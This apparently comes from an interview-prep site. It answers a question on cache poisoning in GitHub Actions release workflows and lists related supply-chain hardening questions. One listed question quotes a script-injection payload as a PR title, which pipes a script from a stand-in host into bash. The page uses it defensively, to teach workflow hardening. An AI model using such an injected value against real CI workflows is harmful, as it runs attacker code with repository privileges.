Your release workflow restores caches built by PR workflows. What is the risk and fix?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Cache poisoning: a privileged release consumes data created in a less trusted context.
What I'd do →
- Release builds run clean: no
actions/cacherestore,setup-nodewithoutcache, Docker build with--no-cacheor registry cache written only frommain. - Ensure no
pull_request_targetworkflow saves caches.
Why → Releases are where integrity matters most; speed matters least.
Interview tip → "Release builds are hermetic and cacheless."
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner